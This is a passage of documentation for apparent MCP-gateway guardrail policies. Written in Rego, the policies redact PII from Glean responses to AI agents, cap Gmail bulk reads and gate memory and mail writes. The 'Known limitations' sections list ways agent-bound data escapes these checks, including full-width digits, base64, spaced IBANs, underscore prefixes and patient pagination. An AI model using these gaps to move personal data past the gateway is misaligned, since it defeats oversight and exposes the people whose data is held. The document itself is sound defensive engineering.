(object, string, number) fail-closed. caller_is_pilot if { is_array(caller_groups) some g in caller_groups g == pilot_group } # --- Decision --- # Any tool that is not the memory surface passes untouched. allow if { not is_memory_tool } # Memory reads always pass — retrieval-only use is unaffected. allow if { is_memory_tool is_read } # Memory writes pass only for members of the pilot group. allow if { is_memory_tool not is_read caller_is_pilot } reasons contains msg if { is_memory_tool not is_read not caller_is_pilot msg := sprintf("Glean memory writes (add, update, delete) are restricted to members of the '%s' group — this account can read Glean memory but not modify it through the gateway. Ask your identity admin to add you to '%s', or use action \"read\" for retrieval only. If this was meant to be a read, confirm the call sends action \"read\"; contact your InfoSec team if the policy needs adjusting.", [pilot_group, pilot_group]) } reason := joined if { count(reasons) > 0 reason_list := sort([r | some r in reasons]) joined := concat("; ", reason_list) } ``` ### Glean: Redact PII from Read-Tool Responses URL: https://www.intentbasedpolicy.com/policies/glean/redact-pii-egress App(s): glean | Direction: egress | Bundles: soc2, hipaa, gdpr-ccpa | Package: glean.egress.redact_pii | Published: 2026-07-12 | Tags: glean, redact-pii, pii, dlp, redaction, egress, soc2, hipaa, gdpr-ccpa Source: https://github.com/dtwoai/policy-store/blob/main/apps/glean/redact-pii-egress/policy.md # glean / redact-pii-egress **Direction:** egress (`tool_post_invoke`) **Default:** allow (transform-only — never denies) **Package:** `glean.egress.redact_pii` ## What it does Scans the responses of Glean's content-returning read tools and rewrites high-confidence PII to fixed redaction tokens before the response reaches the agent's context: | Class | Detection | Token | |---|---|---| | US SSN | hyphenated `XXX-XX-XXXX` form | `[REDACTED-SSN]` | | PAN (payment card) | Luhn-shaped card numbers — 4-4-4-4 grouped, 15-digit Amex 4-6-5, or an unseparated 13–19-digit run | `[REDACTED-PAN]` | | Bank account / IBAN | IBAN-shaped strings (2-letter country + 2 check digits + 11–30 alphanumerics) | `[REDACTED-BANK]` | Each class is matched independently — a lone SSN, a lone card number, or a lone IBAN is redacted on its own. Matches are replaced in place, so the surrounding text (search snippets, chat synthesis, document body, mail bodies, transcript lines) stays usable and the agent keeps working context over the non-sensitive parts. The policy is **transform-only**: it never denies a call, and responses with no matches — and all out-of-scope tools — pass through byte-identical. Every response field is read via `object.get`, so missing or oddly-shaped payloads are never an error; they simply pass through. ## Why egress, and why the response is the choke point Glean is an aggregation layer: a single Glean call fans out across Drive, Confluence, Slack, mail, Gong, HR systems, and everything else the tenant has indexed. The **response** is the one place where every source's content converges, which makes egress the correct choke point for what the agent can actually exfiltrate — distinct from what the *user* is permitted to see. Glean enforces source-system permissions on the read, but "what the user may see" ≫ "what the agent should stream into model context." The PII already lives in the indexed systems, so there is nothing to block at ingress, and denying `search`/`chat`/`read_document` outright would make the agent useless for everyday work. Catching identifiers on the response path keeps the content useful while stripping the direct identifiers out of it. This policy is **defense-in-depth** alongside — not a replacement for — ingress fences on Glean (datasource fencing, bulk-export caps, transcript gating): those decide *which* sources and how much a caller may read; this one strips direct identifiers out of whatever content they are allowed to read. ## Compliance alignment Instantiates egress PII redaction (family PF-02) for Glean and supports alignment with: - **SOC 2 CC6.7** — supports restricting the transmission/movement of confidential information by masking direct identifiers in Glean content as it leaves the gateway toward the agent; **C1.1** — supports identification and protection of confidential information on the read path; **P4.1** — supports limiting personal-information use to identified purposes; **P6.1** — supports controls over personal-information disclosure by keeping raw identifiers out of agent context that does not need them. - **HIPAA §164.502(b) / §164.514(d)** — supports minimum-necessary, role-based limits by masking direct identifiers that co-occur with clinical or benefits content surfaced through Glean's cross-source search; **§164.514(a)–(b)** — supports de-identification practice by stripping Safe-Harbor identifier classes (SSN, account numbers) from responses; **§164.530(c)** — supports privacy safeguards on the agent channel. - **PCI DSS 3.4.1** — supports masking PAN on display: Luhn-shaped payment-card numbers surfaced in Glean read-tool responses are rewritten to `[REDACTED-PAN]` before they reach the agent context, so a full PAN is not streamed into the model; **3.3.1** — supports keeping sensitive account data out of what the agent can move off the card-data path (best-effort, shape-matched — see Known limitations). - **GDPR Art. 5(1)(c)** — data minimisation on agent reads of personal data; **Art. 9** — reduces special-category exposure on the MCP path where identifiers co-occur with health/HR content in indexed sources; **Art. 5(1)(f) / Art. 32** — supports security of processing. - **CCPA/CPRA §1798.121** — supports limiting the use and disclosure of sensitive personal information (SSN, financial-account numbers) on the agent channel; **§1798.150** — reduces nonredacted-PI breach exposure. ## Tool name matching Applies on the output path — scoped when either `input.mode == "output"` or `input.action == "tool_post_invoke"` holds, so redaction still fires on a gateway build that populates only one of the two (keying on `mode` alone would fail open if it were unset). The tool name is read from all three egress surfaces — `input.resource.name`, `input.tool_metadata.name`, and `input.payload.name` — and a suffix hit on **any** of them puts the call in scope, so a gateway that populates a different surface can't slip content past the scanner. Matching is case-insensitive. The remote managed Glean server exposes **bare, generic** tool names (`search`, `chat`, `read_document`, `gmail_search`, `outlook_search`, `meeting_lookup`); the gateway prefixes each with the configured MCP server name (observed as `glean-…`). Because `search` and `chat` are too generic to match blindly, the two name classes are handled differently: - **Distinctive names** — `read_document`, `gmail_search`, `outlook_search`, `meeting_lookup` — match bare, or after **any** server-prefix separator (`-`, `_`, `.`, `:`, `/`). None is a suffix of another Glean tool, so this is safe. - **Generic names** — `search`, `chat` — match only **bare** or after a **hyphen-class** separator (`-`, `.`, `:`, `/`), deliberately **excluding underscore**. This is what keeps the bare `search` entry from swallowing the underscore-joined compound tools Glean also ships but that are **out of scope here** — `employee_search` and `code_search` — and from double-firing on `gmail_search` / `outlook_search` (which have their own entries). So `glean-search` and `glean.chat` match; `glean-employee_search`, `glean-code_search`, and `glean-gmail_search` do **not** match the generic `search` entry (the last is matched by its distinctive entry instead). Verify the exact names your gateway emits with the dump-input debug technique before relying on this in production. **These names are verified for the remote managed server** (Glean landscape note, tool inventory). The deprecated local server used different names (`company_search`, `people_profile_search`); add those suffixes only if a tenant still runs the archived package. ## Response shape The policy reads `input.payload.text` — the MCP content-block array the gateway populates on `tool_post_invoke` — and rewrites each block. It handles the two content-block shapes a gateway realistically emits: - **Plain-string blocks** (`"text": ["…result…"]`) are redacted directly, including string blocks that carry serialized JSON, since the regexes run over the serialized text. - **MCP-standard structured text blocks** (`{"type":"text","text":"…"}`) have their inner `text` string redacted while every other key (`type`, `annotations`, …) is preserved. Without this branch, body delivered as content-block *objects* — the canonical MCP wire shape — would slip past a string-only redactor untouched. Any other block (an object with no string `text` field, or a non-string / non-object value such as a nested array) passes through unmodified — the policy makes no claim over arbitrary structured data whose PII sits under other keys. When at least one block changes, the policy emits `transform.transformed_payload` containing the original payload with the rewritten `text` array (all other payload keys, including `name`, preserved). When nothing changes, no transform is emitted and the response passes through byte-identical. The `text` field must be an **array**: a gateway that returns a bare scalar string under `payload.text` (off the documented shape) is not rewritten — see Known limitations. ## Examples ### Redacted (in-scope `search` response) ```jsonc { "input": { "action": "tool_post_invoke", "mode": "output", "resource": { "name": "glean-search", "type": "tool" }, "payload": { "name": "glean-search", "text": ["Vendor record: SSN 123-45-6789, card 4111 1111 1111 1111, IBAN GB82WEST12345698765432"] } } } ``` `allow = true`, with `transform.transformed_payload.text` = `["Vendor record: SSN [REDACTED-SSN], card [REDACTED-PAN], IBAN [REDACTED-BANK]"]`. ### Passed through (out-of-scope tool) ```jsonc { "input": { "action": "tool_post_invoke", "mode": "output", "resource": { "name": "glean-employee_search", "type": "tool" }, "payload": { "name": "glean-employee_search", "text": ["SSN 123-45-6789"] } } } ``` `allow = true`, no `transform` — `employee_search` is not in the matched set (see Tool name matching), so nothing is rewritten. ## Composition Single-purpose transform policy (`default allow := true`); it composes cleanly with deny/transform policies on the same egress pipeline. Recommended companions in `apps/glean`: - An **ingress datasource fence / bulk-export cap** on `*search` so the agent only reaches sources it is entitled to and cannot bulk-export. This egress redactor is defense-in-depth behind that fence, not a substitute for it. - **Default-deny-unknown-tools (PF-28)** on the Glean server — Glean's tool inventory is admin-mutable (agents-as-tools, gateway-proxied writes), so an allowlist keeps unreviewed tools from appearing. - A **transcript-gating** ingress policy on `*meeting_lookup` (`extract_transcript` / `peer`). ## Known limitations - **Pattern-based detection is best-effort — and this is regex over returned text.** Obfuscated, spelled-out, split-across-blocks, base64-encoded, or image-embedded identifiers are not caught. **Non-ASCII digit forms also escape** — RE2's `\d` matches ASCII `0`–`9` only, so a full-width rendering of an SSN/PAN (e.g. `123-45-6789`) is not redacted even though a model reads it as digits. **Word-adjacent identifiers escape** too: the SSN and PAN-run patterns are `\b`-anchored (deliberately, so they never fire inside longer alphanumeric IDs), so an identifier abutting a word character — a letter, digit, or underscore — on either side is not matched. An SSN wrapped in Markdown italics underscores (`_123-45-6789_`) or a run-on like `id123-45-6789` streams through unredacted. **Tune the pattern set per tenant.** Treat this as a high-signal minimum-necessary layer, not a complete DLP solution. - **PAN is shape-matched, not Luhn-validated.** The card-number patterns match the digit lengths and groupings a Luhn-valid PAN uses (13–19-digit ISO/IEC 7812 range, 4-4-4-4 grouping, 15-digit Amex 4-6-5), but pure regex **cannot compute the Luhn checksum** — matches are card-number *shapes*, not verified PANs. A conforming-shape non-card number (e.g. a 16-digit order ID or a 13–19-digit bank account number) is redacted as `[REDACTED-PAN]`, and a card number typed in an unusual grouping may be missed. This favors over-redaction (safe) over disclosure. - **Bank/IBAN detection is IBAN-shaped and contiguous.** It matches the canonical compact IBAN shape (country letters + 2 check digits + 11–30 alphanumerics, all contiguous). **IBANs printed with spaces every four characters** (`GB82 WEST 1234 5698 7654 32`) are **not** matched (the groups break contiguity), and lowercase IBANs are not matched (country codes are conventionally uppercase). Bare domestic account/routing numbers with no IBAN structure are only caught if they happen to fall in the 13–19-digit PAN run (then tagged `[REDACTED-PAN]`); shorter US routing/account numbers are not matched, and a **contiguous run of 20 or more digits** is likewise outside the 13–19-digit PAN window (its only word boundaries are the two ends, and 20+ exceeds the ceiling) so it passes through unredacted too. Add tenant-specific account-number shapes if your result sets carry them. - **Block coverage and the `text`-array assumption.** Redaction applies to plain-string entries of `input.payload.text` (including serialized-JSON strings) **and** to MCP-standard structured text blocks (`{"type":"text","text":"…"}`; inner `text` redacted, other keys preserved). Blocks that are objects with **no string `text` field** (a custom `{"field":"ssn","value":"…"}` shape, a standard embedded-resource block carrying its body under nested `resource.text`, or an off-spec block whose `text` value is itself a **non-string** — e.g. `{"type":"text","text":["…"]}` with an array-valued `text` — which `block_text` rejects via its `is_string` guard), and blocks that are themselves **nested arrays** of sub-blocks, pass through unmodified and stream any embedded identifiers verbatim. If your gateway build emits bodies as embedded-resource or nested-array blocks under `payload.text` (the documented contract is a flat array of strings — confirm yours with the dump-input technique), extend `block_text` / `redact_block` to descend into `resource.text` and nested arrays, or fence those tools at ingress. Separately, the `text` field is assumed to be an **array**: a gateway that returns a bare scalar string under `payload.text` fails the `is_array` transform guard and the response is **not rewritten** (a fail-open residual on an off-spec shape). - **Tool-name coverage is the verified remote-server surface only.** Only the six read tools named above are in scope. Glean's other content-returning read tools that this policy deliberately does **not** match — `employee_search`, `code_search`, `user_activity`, `knowledge_graph_query`, and the memory read tool (`memory` / `read_memory` with `action:"read"`, whose `ExplicitMemories` category can hold user-entered identifiers) — stream their content unredacted; add their suffixes if your deployment treats them as PII-bearing. (Memory *writes* are governed separately by the deny-memory-writes ingress companion, but that policy does not redact what a memory *read* returns — this redactor does not cover it either.) The schema/graph introspection tools (`memory_schema`, `knowledge_graph_schema`) return structure, not record content, and are intentionally excluded. **Gateway-proxied third-party tools and agents-as-tools have arbitrary org-specific names** (naming pattern undocumented per the Glean landscape note) and are not matched here — govern them with the default-deny-unknown-tools companion. Generic `search` / `chat` matching anchors on a hyphen-class server prefix; a deployment that joins the server name with an **underscore** (`glean_search`) would **not** match the generic entries and would fail open — pin the exact prefix per tenant after confirming it with the dump-input technique. - **No identity-based exemptions.** Every caller's Glean responses are redacted uniformly; this policy has no full-PII group carve-out. If you need one (e.g. a fraud-investigations group that must see raw PANs), add a separate group-gated `allow`/exemption branch keyed on `input.subject.claims` — do not rely on the stripped ContextForge-internal `is_admin`/`teams`/`user` claims for it. - **Egress `transformed_payload` replaces the response payload wholesale.** Verify the rewrite against your gateway version with the dump-input technique before production, and mind attachment order if other egress transforms run on the same pipeline. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package glean.egress.redact_pii # Transform-only egress policy: rewrites high-confidence PII (US SSN, # Luhn-shaped PAN, IBAN/bank-account-shaped strings) in Glean read-tool # responses to fixed redaction tokens before the response reaches the agent. # Never denies. Glean is an aggregation layer, so the response is the single # point where every indexed source's content converges — the correct egress # choke point for what the agent can exfiltrate. default allow := true # ----------------------------------------------------------------------------- # Egress scope: match the post-invoke/output path on either mode or action. If # we keyed on input.mode alone and a gateway build left it unset, is_egress # would fail and redaction would no-op (fail open, leaking content). Ingress # (tool_pre_invoke / mode "input") satisfies neither branch, so it stays out of # scope. # ----------------------------------------------------------------------------- is_egress if { input.mode == "output" } is_egress if { input.action == "tool_post_invoke" } # The tool name is exposed on egress under resource.name (PARC), tool_metadata.name # (legacy), and payload.name (tool-hook canonical). Collect all three and match if # ANY carries a read-tool suffix — matching only a subset would let a gateway that # populates a different surface slip content past the scanner. candidate_names contains lower(object.get(object.get(input, "resource", {}), "name", "")) candidate_names contains lower(object.get(object.get(input, "tool_metadata", {}), "name", "")) candidate_names contains lower(object.get(object.get(input, "payload", {}), "name", "")) # ----------------------------------------------------------------------------- # Scope: the verified remote-managed Glean read tools whose responses carry # cross-source body / snippet / synthesis content. The gateway prefixes bare # tool names with the configured server name (observed as `glean-`), so we match # by suffix. Two classes, matched differently: # # * Distinctive names — none is a suffix of another Glean tool, so they match # after ANY separator (incl. underscore) or bare. # * Generic names (`search`, `chat`) — matched only bare or after a # hyphen-class separator (NOT underscore), so the bare `search` entry never # swallows the underscore-joined compound tools that are out of scope here # (`employee_search`, `code_search`) or double-fires on `gmail_search` / # `outlook_search` (matched by their own distinctive entries). # ----------------------------------------------------------------------------- distinctive_suffixes := {"read_document", "gmail_search", "outlook_search", "meeting_lookup"} generic_names := {"search", "chat"} # Separators a gateway may insert between the server prefix and the tool name. word_seps := {"-", "_", ".", ":", "/"} # Hyphen-class separators only — underscore excluded (see comment above). hyphen_seps := {"-", ".", ":", "/"} # name equals the bare tool name, or ends with for some sep in seps. matches_suffix(n, suf, _) if { n == suf } matches_suffix(n, suf, seps) if { some s in seps endswith(n, concat("", [s, suf])) } is_glean_read_tool if { is_egress some n in candidate_names some suf in distinctive_suffixes matches_suffix(n, suf, word_seps) } is_glean_read_tool if { is_egress some n in candidate_names some g in generic_names matches_suffix(n, g, hyphen_seps) } # ----------------------------------------------------------------------------- # Detection patterns — anchored and conservative to limit false positives. # ----------------------------------------------------------------------------- # US SSN in the canonical hyphenated form only. Bare 9-digit runs collide with # ordinary identifiers, so they are deliberately not matched. ssn_pattern := `\b\d{3}-\d{2}-\d{4}\b` # PAN (payment-card) shapes. Pure regex cannot Luhn-validate; these match the # lengths/groupings a Luhn-valid card uses (see Known limitations). # 16-digit PANs grouped 4-4-4-4 with space or dash separators. pan_grouped_pattern := `\b\d{4}[ -]\d{4}[ -]\d{4}[ -]\d{4}\b` # 15-digit American Express PANs grouped 4-6-5, constrained to the 34/37 IIN. pan_amex_pattern := `\b3[47]\d{2}[ -]\d{6}[ -]\d{5}\b` # Unseparated 13–19 digit runs — the ISO/IEC 7812 PAN length range. There is no # word boundary inside a longer digit run, so this cannot partially mask a # longer identifier, and (no leading \b before a letter) it never fires inside # an IBAN's trailing digits. pan_run_pattern := `\b\d{13,19}\b` # IBAN-shaped strings: 2-letter country code + 2 check digits + 11–30 further # alphanumerics, contiguous (no spaces). Country codes are uppercase. iban_pattern := `\b[A-Z]{2}\d{2}[A-Z0-9]{11,30}\b` # ----------------------------------------------------------------------------- # Redaction steps — each is total over strings: it returns the input unchanged # when its class doesn't apply, so the steps chain safely. Order: SSN (3-2-4 # hyphen groups), then PAN shapes, then IBAN. The classes are disjoint on the # shapes above, so order does not change the result. # ----------------------------------------------------------------------------- redact_ssn(t) := regex.replace(t, ssn_pattern, "[REDACTED-SSN]") redact_pan(t) := out if { g := regex.replace(t, pan_grouped_pattern, "[REDACTED-PAN]") a := regex.replace(g, pan_amex_pattern, "[REDACTED-PAN]") out := regex.replace(a, pan_run_pattern, "[REDACTED-PAN]") } redact_bank(t) := regex.replace(t, iban_pattern, "[REDACTED-BANK]") redact_text(t) := redact_bank(redact_pan(redact_ssn(t))) # Helper: the inner `text` string of an MCP structured content block # ({"type":"text","text":"..."}); undefined for anything else. block_text(b) := t if { is_object(b) t := object.get(b, "text", null) is_string(t) } # Plain-string content blocks: redact in place. redact_block(b) := redact_text(b) if { is_string(b) } # MCP-standard structured text content blocks {"type":"text","text":"..."}: # redact the inner `text` string and preserve every other key. Without this # branch, body delivered as content-block OBJECTS (the canonical MCP wire shape) # would slip past a string-only redactor untouched. redact_block(b) := object.union(b, {"text": redact_text(bt)}) if { not is_string(b) bt := block_text(b) } # Any other block — an object with no string `text` field, or a non-string / # non-object value (e.g. a nested array) — passes through unmodified. The policy # makes no claim over arbitrary structured data whose PII lives under other keys. redact_block(b) := b if { not is_string(b) not block_text(b) } # ----------------------------------------------------------------------------- # Transform — emitted only when in scope, `text` is an array, and at least one # block actually changed. Otherwise the rule is undefined and the aggregator # skips this policy, returning the response byte-identical. # ----------------------------------------------------------------------------- response_payload := object.get(input, "payload", {}) text_blocks := object.get(response_payload, "text", []) redacted_blocks := [out | some block in text_blocks out := redact_block(block) ] transform := { "transformed_payload": object.union(response_payload, {"text": redacted_blocks}), } if { is_glean_read_tool is_array(text_blocks) redacted_blocks != text_blocks } ``` ### Gmail Cap Bulk Export URL: https://www.intentbasedpolicy.com/policies/gmail/cap-bulk-export App(s): gmail | Direction: ingress | Bundles: soc2, hipaa, gdpr-ccpa | Package: gmail.ingress.cap_bulk_export | Published: 2026-07-12 | Tags: gmail, cap-bulk-export, data-minimisation, ingress, soc2, hipaa, gdpr-ccpa Source: https://github.com/dtwoai/policy-store/blob/main/apps/gmail/cap-bulk-export/policy.md # gmail / cap-bulk-export **Direction:** ingress (`tool_pre_invoke`) **Default:** deny oversized or malformed batch content reads; allow everything else; transform-clamp `maxResults` on searches **Package:** `gmail.ingress.cap_bulk_export` ## What it does Throttles mass-harvesting of a mailbox by capping the per-call blast radius of the two Gmail MCP surfaces that return many full email bodies at once: - **Batch content reads are denied above the cap** — the taylorwilsdon Workspace server's `get_gmail_messages_content_batch` and `get_gmail_threads_content_batch` return dozens of full message bodies in a single call. When the ID array (`message_ids` / `thread_ids`) exceeds **10** entries, the call is denied with a reason telling the agent to page through the mailbox in smaller batches. The check **fails closed**: a batch call whose ID argument is missing or is not an array is denied rather than passed through for the server to interpret. - **Search page sizes are clamped** — the GongRzhe server's `search_emails` takes a numeric `maxResults`. Any value above **25**, a non-positive value (`0` or negative — some servers read these as "use default" or "unbounded"), a missing value, or a non-numeric value is rewritten to `maxResults: 25` via a `transformed_payload`; only a number already in the range `[1, 25]` is passed through unchanged. All other arguments are preserved. Searches are never denied. Everything else passes through untouched — the official connector's `search_threads` and `get_thread` are single-query/single-thread by design, and non-batch reads (`read_email`, `get_gmail_message_content`, `get_gmail_thread_content`) are the minimum-necessary sanctioned path for thread-granularity access. The constants (10 IDs per batch, 25 search results) are documented tuning knobs — adjust `max_batch_ids` and `max_search_results` in `policy.md` to your environment's tolerance. ## Compliance alignment - **SOC 2 CC6.7** — supports the restriction on transmission/movement/removal of information by bounding how much mailbox content any single agent call can move out of Gmail. - **HIPAA §164.502(b) / §164.514(d)** — supports the minimum-necessary standard: patient email routinely carries PHI, and agents retrieve thread-sized reads scoped to the task rather than the maximum the batch API permits. - **GDPR Art. 5(1)(c)** — data minimisation on the agent channel: the read volume is minimised *before* the query reaches Gmail. - **CCPA 11 CCR §7002** — supports proportionality: collection and use of personal information stays proportionate to the disclosed purpose rather than defaulting to bulk mailbox retrieval. ## Why ingress The over-broad request itself is the problem: once the server has returned 50 full email bodies, an egress policy can only mask patterns in text that has already been fetched and logged. Denying the oversized batch and clamping the search page size at ingress is the only place the *volume* of mailbox content can be controlled. ## Tool name matching The DTwo gateway prefixes tool names with the configured MCP server name (e.g. `gmail-workspace-get_gmail_messages_content_batch`), so matching is by case-insensitive suffix to stay portable across deployments. Covered names, per server family: - **taylorwilsdon/google_workspace_mcp** (verified from `gmail/gmail_tools.py`): `get_gmail_messages_content_batch`, `get_gmail_threads_content_batch` — denied above the ID cap. - **GongRzhe/Gmail-MCP-Server** (verified from the README): `search_emails` — `maxResults` clamped. - **Official Google / Claude connector** (verified): `search_threads`, `get_thread` — intentionally untouched; both are single-query / single-thread. Verify the exact names your gateway sends with the dump-input debug technique before relying on this in production, and extend the suffix lists if your server exposes additional batch-read tools. ## Argument shape - `get_gmail_messages_content_batch` takes a `message_ids` array; `get_gmail_threads_content_batch` takes a `thread_ids` array (both verified from source). The policy counts **both** keys on every batch call (`object.get`, no direct indexing) and denies when the larger present array exceeds the cap, so an oversized array cannot ride in on the key the matched tool doesn't read while a small decoy sits in the other key. If neither key is present as an array, the call is denied — fail closed rather than letting the server decide. - `search_emails` takes `query` (Gmail search syntax) and a numeric `maxResults` (verified). The clamp preserves every other argument via `object.union`. ## Examples ### Allowed ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "gmail-workspace-get_gmail_messages_content_batch", "type": "tool" }, "payload": { "name": "gmail-workspace-get_gmail_messages_content_batch", "args": { "message_ids": ["m1", "m2", "m3"] } } } } ``` `allow = true` — three IDs is within the cap of 10. ### Denied ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "gmail-workspace-get_gmail_messages_content_batch", "type": "tool" }, "payload": { "name": "gmail-workspace-get_gmail_messages_content_batch", "args": { "message_ids": ["m1", "m2", /* … */ "m12"] } } } } ``` `allow = false`, `reason = "This Gmail batch read requests 12 message/thread IDs; the cap is 10 per call. …"`. ### Transformed ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "gongrzhe-gmail-search_emails", "type": "tool" }, "payload": { "name": "gongrzhe-gmail-search_emails", "args": { "query": "from:finance has:attachment", "maxResults": 200 } } } } ``` `allow = true`, transform rewrites the args to `{ "query": "from:finance has:attachment", "maxResults": 25 }`. A call with no `maxResults` at all gets `maxResults: 25` injected the same way. ## Composition This policy bounds read *volume*; it does not inspect message *content* or guard the write path. Useful companions: - [`apps/gmail/guard-external-send`](../guard-external-send/policy.md) — ingress guard on outbound mail. - [`apps/gmail/guard-mailbox-persistence`](../guard-mailbox-persistence/policy.md) — blocks filter/auto-forward persistence primitives. - [`apps/gmail/role-gate-writes`](../role-gate-writes/policy.md) — identity-gates the Gmail write surface. ## Known limitations - **`search_gmail_messages` is documented, not clamped.** The taylorwilsdon server's search tool exists, but its page-size parameter name is unverified in the landscape research, so this policy does not rewrite it. Confirm the live parameter from `tools/list` and extend the clamp before relying on it. - **Per-call caps do not stop patient pagination.** Stateless Rego cannot track per-session cumulative volume: an agent that issues many 10-ID batches or 25-result searches can still enumerate a mailbox — it just takes proportionally more calls. Use gateway audit logs / alerting to spot high-frequency crawls. - **Only the listed argument keys are covered.** A server that spells the batch key or page size differently is not covered — extend the policy if your `tools/list` shows other shapes. - **No identity-based exemptions.** All callers are capped equally. If an e-discovery or backup group legitimately needs larger batches, add an `input.subject.claims`-gated bypass as a separate rule. > **Compliance note.** This policy supports alignment with the cited framework > controls **on the MCP path only**. No policy or bundle makes an organization > compliant with any framework; web-UI, native-API, and in-app access are > outside the gateway's reach by design. Validate against your own compliance > program before relying on it. ```rego package gmail.ingress.cap_bulk_export # Deny-by-default: batch mailbox content reads must present a bounded, # well-formed ID array. Everything else is allowed (searches are clamped by # the transform below, never denied). default allow := false # --- Tuning knobs -------------------------------------------------------------- # Maximum IDs a single batch content read may request. max_batch_ids := 10 # Maximum results a single search_emails call may request. max_search_results := 25 # --- Tool matching ------------------------------------------------------------- # The gateway prefixes tool names with the configured MCP server name, so we # match case-insensitively by suffix to stay portable. Verify the exact names # your gateway sends with the dump-input debug technique before production use. # Batch content reads (taylorwilsdon/google_workspace_mcp, verified from source). batch_tool_suffixes := [ "get_gmail_messages_content_batch", "get_gmail_threads_content_batch", ] is_batch_tool if { some suffix in batch_tool_suffixes endswith(lower(input.resource.name), suffix) } # The cap applies to the ingress hook only — egress hooks on the same tool # names pass through. is_capped_batch_call if { input.action == "tool_pre_invoke" is_batch_tool } # Search tool with a clampable page size (GongRzhe/Gmail-MCP-Server, verified). is_search_tool if { endswith(lower(input.resource.name), "search_emails") } # --- Argument access (object.get everywhere — fields may be missing) ----------- args := object.get(input.payload, "args", {}) # The batch ID keys we inspect. The messages batch reads message_ids and the # threads batch reads thread_ids, but we count BOTH keys on every batch call: # checking only the first-present key would let an oversized array slip through # in the other key alongside a small decoy (e.g. a threads-batch call carrying # thread_ids: [50 items] plus a 2-item message_ids decoy would otherwise be # selected on the small decoy and allowed while the server harvests the 50). batch_id_keys := ["message_ids", "thread_ids"] # The length of every ID key actually present as an array. A key that is # absent, null, or the wrong type contributes nothing. id_array_counts := [count(value) | some key in batch_id_keys value := object.get(args, key, null) is_array(value) ] # A batch call is well-formed only when at least one ID key is a real array. valid_batch_ids if { count(id_array_counts) > 0 } # The largest present ID array drives the cap decision — an oversized array in # either key trips the cap regardless of any smaller decoy in the other key. max_batch_id_count := max(id_array_counts) if { count(id_array_counts) > 0 } # --- Allow rules ----------------------------------------------------------------- # Anything that is not a capped batch content read passes through: single # message/thread reads, searches, label tools, and egress hooks. allow if { not is_capped_batch_call } # Batch content reads are allowed only with a well-formed ID array at or # under the cap. If the ID argument is missing or not an array, no allow rule # fires and the default deny holds (fail closed). allow if { is_capped_batch_call valid_batch_ids max_batch_id_count <= max_batch_ids } # --- Deny reasons --------------------------------------------------------------- reasons contains msg if { is_capped_batch_call valid_batch_ids max_batch_id_count > max_batch_ids msg := sprintf( "This Gmail batch read requests %d message/thread IDs; the cap is %d per call. Page through the mailbox in batches of %d IDs or fewer. Contact your InfoSec team if a sanctioned workflow needs a larger batch.", [max_batch_id_count, max_batch_ids, max_batch_ids], ) } reasons contains msg if { is_capped_batch_call not valid_batch_ids msg := sprintf( "This Gmail batch read is missing a valid ID array (message_ids or thread_ids must be an array). Retry with an explicit array of %d or fewer IDs. Contact your InfoSec team if this was a false positive.", [max_batch_ids], ) } reason := joined if { count(reasons) > 0 reason_list := sort([r | some r in reasons]) joined := concat("; ", reason_list) } # --- Transform: clamp search_emails page size ----------------------------------- max_results_value := object.get(args, "maxResults", null) # Clamp when maxResults is absent (the server's own default wins otherwise). needs_max_results_clamp if { max_results_value == null } # Clamp when a numeric maxResults exceeds the cap. needs_max_results_clamp if { is_number(max_results_value) max_results_value > max_search_results } # Clamp non-positive page sizes too. A maxResults of 0 or a negative number is # not a smaller-than-cap request: Gmail's users.messages.list treats an # absent/zero page size as its own default (100), and several servers read a # negative value as "unbounded". Anything outside [1, cap] is rewritten to the # cap so a non-positive value cannot slip the volume ceiling. needs_max_results_clamp if { is_number(max_results_value) max_results_value < 1 } # Fail safe: a non-numeric maxResults is replaced with the cap rather than # letting the server's parsing decide. needs_max_results_clamp if { max_results_value != null not is_number(max_results_value) } transform := {"transformed_payload": object.union(args, {"maxResults": max_search_results})} if { input.action == "tool_pre_invoke" is_search_tool needs_max_results_clamp } ``` ### Gmail: Role-Gated Writes (Read-Only Default) URL: https://www.intentbasedpolicy.com/policies/gmail/role-gate-writes App(s): gmail | Direction: ingress | Bundles: soc2, gdpr-ccpa | Package: gmail.ingress.role_gate_writes | Published: 2026-07-12 | Tags: gmail, role-gate-writes, access-control, least-privilege, ingress, soc2, gdpr-ccpa Source: https://github.com/dtwoai/policy-store/blob/main/apps/gmail/role-gate-writes/policy.md # gmail / role-gate-writes **Direction:** ingress (`tool_pre_invoke`) **Default:** deny everything except verified read tools; writes require the writer group **Package:** `gmail.ingress.role_gate_writes` ## What it does Makes Gmail read-only by default on the MCP path. Verified read tools pass for everyone. Every other Gmail tool — all draft, send, label, filter, modify, and delete tools across the three common Gmail MCP vocabularies (`create_draft`, `draft_email`, `draft_gmail_message`, `create_label`, `update_label`, `get_or_create_label`, `label_thread`, `unlabel_thread`, `label_message`, `unlabel_message`, `modify_email`, `batch_modify_emails`, `modify_gmail_message_labels`, `batch_modify_gmail_message_labels`, `manage_gmail_label`, `manage_gmail_filter`, `create_filter`, `create_filter_from_template`, `send_email`, `send_gmail_message`, `delete_email`, `batch_delete_emails`, `delete_label`, `delete_filter`) — is denied unless the caller's IdP `groups` claim contains the placeholder group `mcp-gmail-writers`, failing closed when identity claims are absent. The policy is structured as a **read-suffix allowlist**, not a write blocklist. This is deliberate: the three Gmail MCP servers in real use diverge sharply in capability — the official Google/Claude connector is draft-only with no send and no delete, while the community servers (GongRzhe, taylorwilsdon) add send, permanent delete, filter creation (auto-forward persistence), and local-file attachment bridges. A tenant that swaps the Claude connector for a community server silently gains those write primitives; with a read-suffix allowlist, every tool the policy has never heard of — including all of those — is denied by default instead of slipping through. The check runs at ingress, before the call reaches the Gmail MCP server, so a denied write never executes and has no side effects. ## Compliance alignment - **SOC 2 CC6.1** — supports logical access security over protected assets: a mailbox cannot be mutated over the agent channel without an explicit role grant. **CC6.3** — supports role-based access and least privilege: write capability is tied to a live IdP group, and removing the group in the IdP removes write access on the next call (supporting **CC6.2** credential de-provisioning on the MCP path). - **HIPAA §164.502(b) / §164.514(d)** — supports minimum-necessary, role-based limits where mailboxes carry ePHI (patient email is routine PHI): write authority is scoped to a role. **§164.308(a)(4)** — supports information access management; **§164.312(a)(1)** — supports technical access control with per-call identity from the caller's JWT; **§164.308(a)(3)** — supports 